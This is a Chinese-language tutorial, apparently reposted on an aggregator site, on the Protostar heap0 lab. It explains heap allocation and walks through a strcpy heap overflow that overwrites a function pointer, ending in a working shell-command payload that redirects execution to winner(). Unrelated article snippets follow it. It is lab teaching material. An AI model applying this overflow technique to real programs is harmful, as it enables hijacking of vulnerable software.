二进制安全虚拟机Protostar靶场(5)堆的简单介绍以及实战 heap0

在这里插入图片描述

前言

这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章

什么是堆

堆是动态内存分配的区域,程序在运行时用来分配内存。它与栈不同,栈用于静态分配内存,并且具有固定的大小

程序使用如malloc、calloc、realloc等函数在堆上动态分配内存。当内存不再需要时,使用free函数释放。
例如:

int main(int argc, char **argv)
{struct data *d;d = malloc(sizeof(struct data));
}

通过malloc函数分配的堆地址:

在这里插入图片描述

接下来就用实战来讲解堆的运作机制

heap 0

在这里插入图片描述

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>struct data {  #定义了一个名为data的结构体char name[64];  #包含一个64字节大小的字符数组name
};struct fp {  #定义了一个名为fp的结构体int (*fp)();  #包含了一个函数指针fp
};void winner()  #自定义函数winner
{printf("level passed\n");  #输出level passed
}void nowinner()  #自定义函数nowinner
{printf("level has not been passed\n");  #输出level has not been passed
}int main(int argc, char **argv)  #主函数,从命令行获取参数
{struct data *d;  #声明了一个指向 struct data 类型结构体的指针 dstruct fp *f;  #声明了一个指向 struct fp 类型结构体的指针 fd = malloc(sizeof(struct data));   #给data结构体分配内存f = malloc(sizeof(struct fp));  #给fp结构体分配内存f->fp = nowinner;  #fp结构体中的函数指针初始化为指向nowinner函数printf("data is at %p, fp is at %p\n", d, f);  #输出data和fp结构体的内存地址strcpy(d->name, argv[1]);  #strcpy函数将命令行提供的第一个参数,复制到data结构体的name数组中f->fp();  #调用函数指针指向的函数nowinner}

漏洞发生在strcpy函数处,strcpy函数不会检查目标缓冲区的大小,如果我们提供的参数超过64字节,它将导致缓冲区溢出,如果发生了缓冲区溢出,并且覆盖了f->fp的值,那么可以使它指向winner函数,调用winner函数

我们先在第一个malloc函数调用的地方下一个断点,然后执行到断点处,来看看堆是怎么运行的

在这里插入图片描述

现在停在了malloc函数处,还没有执行该指令,可以看到程序空间里是没有堆的

在这里插入图片描述

输入n执行malloc函数,再次查看程序空间

在这里插入图片描述

可以看到,多出了一个heap空间,也就是堆,地址是0x804a000-0x806b000,我们查看这个堆空间里的数据

在这里插入图片描述

现在堆里只有两个数据,0x49-1,0x48是第一个mallco函数给我们分配的空间大小,为什么要减一呢,因为在这个堆中保存数据是,为了区分是否是空闲区域,都会在表示大小的值后面加一个1,+1了就说明当前空间已经被存放了数据,那这里为什么后面存放的数据都是0呢,是因为这个程序是从命令行参数里获取值然后保存的,我们运行程序时没有输入参数,所以这里都是0

在这里插入图片描述

在这里插入图片描述

name函数大小设置的是64字节,为什么程序给我们分配了72字节的空间,其实是这样算的

在这里插入图片描述

程序还将前面保留的四个字节空闲空间和本身表示大小的空间算进去了

而最后的0x20fb9,表示空余堆空间的大小,我们在程序执行strcpy函数的地方下一个断点,这个地方是程序将我们输入的值存入堆里的地方

在这里插入图片描述

我们重新运行程序,输入A,执行strcpy函数的指令,再在查看栈空间

在这里插入图片描述
在这里插入图片描述

程序已经将我们输入的8个A的十六进制值放入了堆,并且下面还有第二个mallco函数的空间

在这里插入图片描述

而这个0x8048478则是nowinner函数地址

在这里插入图片描述

前面说过,strcpy函数不会检查目标缓冲区的大小,如果我们提供的参数超过64字节,它将导致缓冲区溢出,如果发生了缓冲区溢出,并且覆盖了f->fp的值,那么可以使它指向winner函数,调用winner函数,我们输入76个字符就能完整覆盖nowinner函数地址,控制程序跳转的地址

python -c "print('A'*72 + 'B'*4)"

在这里插入图片描述

重新打开gdb,然后运行

在这里插入图片描述

这里程序提示跳转到了0x42424242的地址,也就是我们输入的BBBB,这时我们查看堆空间

在这里插入图片描述

我们已经将nowinner函数地址给覆盖了

在这里插入图片描述

我们将BBBB改为winner函数地址,就成功破解了程序

在这里插入图片描述

我们可以使用echo工具来输入不可见字符

./heap0 "`/bin/echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\x84\x04\x08"`"

在这里插入图片描述

在这里插入图片描述

成功跳转到winner函数

堆是一个很难的部分,为了方便入门,这篇文章只是简单的介绍了一些堆的运作机制,之后的文章再慢慢介绍其他的机制

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/659643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【PHP】在ThinkPHP 5.0中设置缓存以提高性能

在ThinkPHP 5.0中&#xff0c;您可以使用Cache类来设置缓存&#xff0c;以提高应用程序的性能。缓存可以减少对数据库的访问次数&#xff0c;从而提高应用程序的响应速度。 首先&#xff0c;确保您已经在config.php文件中启用了缓存。在config.php文件中&#xff0c;将cache配…

asdf安装不同版本的nodejs和yarn和pnpm

安装asdf 安装nodejs nodejs版本 目前项目中常用的是14、16和18 安装插件 asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git asdf plugin-add yarn https://github.com/twuni/asdf-yarn.git可以查看获取所有的nodejs版本 asdf list all nodejs有很多找…

【TCP】三次握手(建立连接)

前言 在网络通信的世界里&#xff0c;可靠传输协议&#xff08;TCP&#xff09;扮演着重要的角色&#xff0c;它保证了数据包能够按顺序、完整地从发送端传送到接收端。TCP协议中有一个至关重要的机制——三次握手。这一过程确保了两个TCP设备在开始数据传输之前建立起一个稳定…

机器的大小端存储模式

大、小端字节序 一个整形数据在内存中的存储方式是该数据的补码&#xff1b; 该数据本事的数据是从高地址位到低地址位的&#xff0c;而计算机的内存中刚好相反&#xff01; 以数字10为例&#xff1a; 补码&#xff1a;0000 0000 0000 0000 0000 0000 0000 1010 补码的十六进制…

windows10设置多个jar后台开机自启

1、window10启动多个jar包的脚本 新建一个txt文档&#xff0c;将以下内容复制到文档中&#xff1a; echo off taskkill /f /im javaw.exe //停用之前启动过的所有后台javaw程序 d: //jar包所在盘符 cd saas //jar包所在文件夹 start cmd /c "title 程序…

Redis简单阐述、安装配置及远程访问

目录 一、Redis简介 1.什么是Redis 2.特点 3.优势 4.数据库对比 5.应用场景 二、 安装与配置 1.下载 2.上传解压 3.安装gcc 4.编译 5.查看安装目录 6.后端启动 7.测试 8.系统服务配置 三、Redis远程访问 1.修改访问IP地址 2.设置登录密码 3.重启Redis服务 …

Maven安装,学习笔记,详细整理maven的一些配置

Maven 1. 初识Maven 2. Maven概述 Maven模型介绍 Maven仓库介绍 Maven安装与配置 3. IDEA集成Maven 4. 依赖管理 01. Maven课程介绍 1.1 课程安排 学习完前端Web开发技术后&#xff0c;我们即将开始学习后端Web开发技术。做为一名Java开发工程师&#xff0c;后端 Web开发技术…

算法练习01——哈希部分双指针

目录 1. 两数之和(*)242. 有效的字母异位词(easy)49. 字母异位词分组(*)349. 两个数组的交集202. 快乐数(1.使用Set存哈希&#xff0c;2.快慢指针)454. 四数相加 II383. 赎金信15. 三数之和*(双指针)18. 四数之和*(双指针)128. 最长连续序列 1. 两数之和(*) https://leetcode.…

Gas Hero Common Heroes NFT 概览与数据分析

作者&#xff1a;stellafootprint.network 编译&#xff1a;mingfootprint.network 数据源&#xff1a;Gas Hero Common Heroes NFT Collection Dashboard Gas Hero “盖世英雄” 是一个交互式的 Web3 策略游戏&#xff0c;强调社交互动&#xff0c;并与 FSL 生态系统集成…

备战蓝桥杯---数据结构与STL应用(入门4)

本专题主要是关于利用优先队列解决贪心选择上的“反悔”问题 话不多说&#xff0c;直接看题&#xff1a; 下面为分析&#xff1a; 很显然&#xff0c;我们在整体上以s[i]为基准&#xff0c;先把士兵按s[i]排好。然后&#xff0c;我们先求s[i]大的开始&#xff0c;即规定选人数…

若依前后端分离集成多数据源SQL Server教程

本章教程,主要介绍如何在若依开源框架前后端分离版本中集成多数据源SQL Server教程。 目录 一、添加依赖 二、修改配置 三、修改代码 四、如何使用 一、添加依赖

asp.net 404页面配置、 asp.net MVC 配置404页面、iis 配置404页面,指定404错误页面,设置404错误页面

通过标题的三个问题 1、asp.net 404页面配置、 2、asp.net MVC 配置404页面、 3、iis 配置404页面&#xff1b; 可以看出&#xff0c;这是一篇了不得的问题&#xff0c;并进行全面讲解&#xff1b; 除了围绕以上三个核心问题外&#xff0c;我们也对以下2个核心场景也作出分析…

【从零开始的rust web开发之路 三】orm框架sea-orm入门使用教程

【从零开始的rust web开发之路 三】orm框架sea-orm入门使用教程 文章目录 前言一、引入依赖二、创建数据库连接简单链接连接选项开启日志调试 三、生成实体安装sea-orm-cli创建数据库表使用sea-orm-cli命令生成实体文件代码 四、增删改查实现新增数据主键查找条件查找查找用户名…

docker-从docker安装到在docker环境中编译程序全流程

1、docker安装 参考&#xff1a;https://blog.csdn.net/weixin_74855005/article/details/135510702 2、基础镜像拉取 以/home/mdj/tools/aarch64-focal为例。 build.bash中的以下命令用来拉arm的ros-noetic镜像&#xff0c;–platform指定操作系统 ros:noetic为基础镜像。 do…

2024.1.31日总结

服创大赛的有一个选题是【A16】新苗同学 - 大学新生智能迎新平台&#xff0c;这个对前端的要求挺高的&#xff0c;需要设计游戏化页面&#xff0c;刚刚搜索了一下&#xff0c;感觉难度很大&#xff0c;又要有创意&#xff0c;而且动画效果也要不错&#xff0c;整体页面才会美观…

爬虫学习笔记-Cookie登录古诗文网

1.导包请求 import requests 2.获取古诗文网登录接口 url https://so.gushiwen.cn/user/login.aspxfromhttp%3a%2f%2fso.gushiwen.cn%2fuser%2fcollect.aspx # 请求头 headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like …

kylin启动memcached缓存

当部署kylin的机器内存不足时&#xff0c;可以使用memcached作为kylin的查询缓存。 需要在kylin.properties添加的配置如下&#xff1a; kylin.query.cache-enabledtrue kylin.query.lazy-query-enabledtrue kylin.query.cache-signature-enabledtrue kylin.query.segment-ca…

linux解决访问/下载github连接超时或下载慢的问题

问题 我这里是树莓派从github下载资源出现无法连接&#xff0c;连接超时的问题&#xff0c;如下所示解决方式 修改/etc/hosts文件 例&#xff1a; sudo nano /etc/hosts #添加如下 192.30.255.112 github.com git 185.31.16.184 github.global.ssl.fastly.net这里以树莓派为…

【大厂AI课学习笔记】1.3 人工智能产业发展(4)——泛在的人工智能

人工智能走向泛在。 泛在&#xff0c;就是广泛存在。&#xff08;下图来自腾讯AI课。&#xff09; 没办法&#xff0c;被百度抛弃了&#xff0c;想学习&#xff0c;课程打不开&#xff0c;只好投想腾讯的怀抱。 之前考过腾讯云的认证&#xff0c;课程做的还是条理很清晰。 主…

全面掌握Django的web框架Django Rest_Framework(一)

文章目录 Django Rest_Framework1. DRF介绍2.DRF特点3.环境安装与配置&#xff08;1&#xff09;DRF需要以下依赖&#xff08;2&#xff09;创建django项目 4.序列化器的使用&#xff08;1&#xff09;创建序列化器 5. 反序列化器使用 Django Rest_Framework 1. DRF介绍 Djan…